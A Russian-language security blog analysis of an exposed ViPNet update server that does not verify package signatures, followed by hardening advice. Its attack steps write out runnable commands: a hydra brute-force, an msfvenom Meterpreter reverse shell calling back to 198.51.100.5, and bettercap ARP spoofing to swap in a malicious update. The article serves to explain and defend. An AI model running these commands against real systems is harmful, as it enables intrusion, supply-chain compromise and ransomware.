CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Дыра на 5 млн рублей в самом «надёжном» софте завода: разбор атаки через канал обновлений ViPNet

Отечественная система защищённой связи considered неприкасаемой — аудит показал, что именно механизм её обновлений был открыт в интернет и не проверял подлинность пакетов. Разбираем, как это эксплуатируется технически и что могло произойти дальше.

Разбор CIOlogia

Классы защищённой связи вроде ViPNet Client строят вокруг себя ореол непробиваемости: шифрованный канал, сертификаты, госстандарты. Именно поэтому такие системы почти никогда не проверяют так же тщательно, как обычный корпоративный софт — «оно же для защиты, значит защищено само по себе». На практике самый уязвимый узел таких систем — не сам криптографический туннель, а инфраструктура его обновления. Разберём кейс детальнее, чем это делают в новостных сводках, и покажем механику атаки по шагам.

Контекст: почему обновления — слабое звено

Любой защищённый VPN-клиент — это агент, который регулярно тянет с сервера обновления: патчи, новые ключи, конфигурации политик. Если канал получения этих обновлений не защищён отдельно от основного VPN-туннеля, злоумышленнику не нужно ломать криптографию — достаточно встать между клиентом и сервером обновлений или получить доступ к самому серверу.

В данном случае аудит выявил классическую комбинацию: сервер обновлений системы защищённой связи был доступен из интернета без ограничения по IP, а клиенты на местах не проверяли цифровую подпись пакетов обновления перед установкой. Это ровно та же категория ошибки, что привела к атаке через M.E.Doc (NotPetya, 2017) и к инциденту SolarWinds (2020) — компрометация цепочки поставки через доверенный канал обновления.

Как это эксплуатируется

Шаг 1. Разведка периметра. Первое, что делает атакующий — сканирует внешний диапазон адресов компании на предмет открытых сервисов управления и обновлений.

nmap -sV -p- --open -T4 203.0.113.0/24

PORT     STATE SERVICE     VERSION
80/tcp   open  http        nginx (reverse proxy)
443/tcp  open  ssl/http    ViPNet Update Service
8080/tcp open  http-proxy  ViPNet Client management console
55777/udp open|filtered   unknown (ViPNet tunnel)

Открытый порт 8080/443, отвечающий заголовками вроде Server: ViPNet-UpdateAgent или характерным баннером административной консоли — прямой сигнал, что сервер обновлений «смотрит» наружу.

Шаг 2. Определение версии и известных слабостей. Дальше — идентификация конкретной сборки и проверка на дефолтные учётки.

curl -sk https://203.0.113.10:443/version.xml
<update version="4.4.х" build="2019-xx"/>

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  203.0.113.10 https-get /admin/login

В реальных инцидентах пароль администратора консоли обновлений часто остаётся тем же, что был задан при внедрении интегратором несколько лет назад — простым, словарным, ни разу не менявшимся.

Шаг 3. Проверка целостности канала обновления. Ключевая проверка аудитора — принимает ли клиент неподписанные пакеты.

curl -sk https://203.0.113.10:443/update/latest.pkg -o test_update.pkg
file test_update.pkg
openssl smime -verify -in test_update.pkg -noverify -nointern 2>&1
# Verification failure — сигнатура не найдена или не проверяется клиентом

Если система принимает пакет без корректной проверки ЭЦП производителя — это готовый вектор supply chain атаки: достаточно подменить содержимое ответа сервера обновлений.

Шаг 4. Подмена обновления (MITM или прямой доступ к серверу). При доступе к серверу обновлений извне (через слабый пароль или уязвимость веб-панели) или через MITM в промежуточной сети атакующий подменяет полезную нагрузку:

# Сборка вредоносного "обновления" с легитимным именем пакета
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=198.51.100.5 LPORT=443 -f exe -o update_patch.exe

# Подмена ответа сервера через bettercap в смежном сегменте сети
bettercap -iface eth0 -eval "set arp.spoof.targets 10.10.10.0/24; arp.spoof on; \
  set http.proxy.script hijack_update.js; http.proxy on"

Клиент, который доверяет любому пакету «со знакомого адреса», ставит вредоносный файл как штатное обновление — антивирус его не блокирует, потому что процесс инициирован легитимным сервисом защиты, уже занесённым в исключения.

Шаг 5. Массовое распространение. Поскольку обновление приходит централизованно на все узлы (офис + цеха), payload разворачивается одновременно на десятках машин — это и есть ключевое отличие от точечного фишинга: скорость и охват атаки максимальны.

Что и почему сработало бы

  • Обход периметровой защиты. Трафик от «системы защиты» уже находится в списке доверенных — межсетевой экран и антивирус пропускают его как легитимный служебный процесс.
  • Горизонтальное перемещение. После закрепления на первой машине атакующий использует стандартные техники: crackmapexec для разведки по SMB, дамп хэшей через secretsdump.py (Impacket), подбор паролей локальных админов через hashcat -m 1000 ntlm.hash rockyou.txt.
  • Шифрование и вымогательство. Финальная стадия — развёртывание шифровальщика через тот же канал доверия, что и «обновление», с одновременным поражением офисных ПК и цеховых АРМ, включая, при плохой сегментации, АСУ ТП.
  • Максимальный ущерб от простоя. Производственная линия останавливается вместе с офисом одновременно — восстановление занимает не часы, а дни, включая проверку целостности систем управления производством.

Как закрыть

Устранение подобной уязвимости не требует замены системы защищённой связи — только правильной настройки периметра и политики обновлений.

  1. Закрыть внешний доступ к серверу обновлений. Оставить только внутреннюю сеть и VPN-доступ для администрирования:
    iptables -A INPUT -p tcp --dport 443 -s 10.10.0.0/16 -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    iptables -A INPUT -p tcp --dport 8080 -s 10.10.0.0/16 -j ACCEPT
    iptables -A INPUT -p tcp --dport 8080 -j DROP
  2. Включить обязательную проверку цифровой подписи обновлений на стороне клиента и сервера — политика должна отклонять любой пакет, не подписанный корневым сертификатом производителя.
  3. Сменить и захэшировать административные пароли, установленные при внедрении интегратором, перевести на менеджер паролей и обязательную ротацию:
    hashcat -m 1000 old_admin.hash rockyou.txt --show
    # проверка, что старый пароль реально был в словарях — обоснование для смены
  4. Настроить алертинг на попытки внешнего подключения к серверу обновлений и административной консоли — уведомление в мессенджер или SIEM при любом обращении не из внутреннего диапазона.
  5. Провести повторное сканирование периметра инструментом nuclei с шаблонами на открытые панели управления и сервисы обновлений, чтобы убедиться, что закрытие портов не оставило побочных путей:
    nuclei -u https://203.0.113.10 -t exposures/ -t default-logins/
  6. Сегментировать сеть цехов от офиса отдельными VLAN и правилами firewall, чтобы даже успешная компрометация одного сегмента не давала прямого доступа к линиям производства.
Самая опасная дыра — та, которую никто не проверяет, потому что уверен: тут и так всё безопасно.

Защитное ПО — это такой же программный продукт, как и всё остальное в инфраструктуре, а канал его обновления — самая доверенная и потому самая привлекательная точка входа для атакующего. Проверка именно этого узла должна быть обязательным пунктом любого аудита, особенно в промышленных и государственных сетях, где простой стоит не часы, а миллионы рублей в день.